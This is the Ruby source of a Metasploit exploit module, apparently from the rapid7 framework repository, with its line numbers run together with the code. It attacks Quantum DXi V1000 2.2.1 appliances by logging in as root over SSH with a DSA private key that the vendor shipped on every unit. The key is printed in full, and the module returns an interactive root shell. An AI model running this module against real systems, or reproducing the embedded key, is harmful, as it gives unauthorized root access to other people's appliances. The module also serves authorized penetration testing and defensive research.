Path: blob/master/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
28008 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => 'Quantum DXi V1000 SSH Private Key Exposure',19'Description' => %q{20Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that21allows passwordless authentication to any other DXi box. Since the key is22easily retrievable, an attacker can use it to gain unauthorized remote23access as root.24},25'Platform' => 'unix',26'Arch' => ARCH_CMD,27'Privileged' => true,28'Targets' => [ [ 'Universal', {} ] ],29'Payload' => {30'Compat' => {31'PayloadType' => 'cmd_interact',32'ConnectionType' => 'find'33}34},35'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module36'License' => MSF_LICENSE,37'References' => [38['PACKETSTORM', '125755'],39['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH]40],41'DisclosureDate' => '2014-03-17',42'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },43'DefaultTarget' => 0,44'Notes' => {45'Stability' => [CRASH_SAFE],46'Reliability' => [REPEATABLE_SESSION],47'SideEffects' => []48}49}50)51)5253register_options(54[55# Since we don't include Tcp, we have to register this manually56Opt::RHOST(),57Opt::RPORT(22)58], self.class59)6061register_advanced_options(62[63OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),64OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])65]66)67end6869# helper methods that normally come from Tcp70def rhost71datastore['RHOST']72end7374def rport75datastore['RPORT']76end7778def do_login(user)79opt_hash = ssh_client_defaults.merge({80auth_methods: ['publickey'],81port: rport,82key_data: [ key_data ]83})8485opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']86begin87ssh_socket = nil88::Timeout.timeout(datastore['SSH_TIMEOUT']) do89ssh_socket = Net::SSH.start(rhost, user, opt_hash)90end91rescue Rex::ConnectionError92return nil93rescue Net::SSH::Disconnect, ::EOFError94print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"95return nil96rescue ::Timeout::Error97print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"98return nil99rescue Net::SSH::AuthenticationFailed100print_error "#{rhost}:#{rport} SSH - Failed authentication"101return nil102rescue Net::SSH::Exception => e103print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"104return nil105end106107if ssh_socket108109# Create a new session from the socket, then dump it.110conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)111ssh_socket = nil112113return conn114else115return nil116end117end118119def exploit120conn = do_login('root')121if conn122print_good "#{rhost}:#{rport} - Successful login"123handler(conn.lsock)124end125end126127def key_data128<<~EOF129-----BEGIN DSA PRIVATE KEY-----130MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2131hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t132Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2133+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/41346mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5135PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr136E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK1376X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn138k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u139B3Upsx556K/iZPPnJZE=140-----END DSA PRIVATE KEY-----141EOF142end143end144145146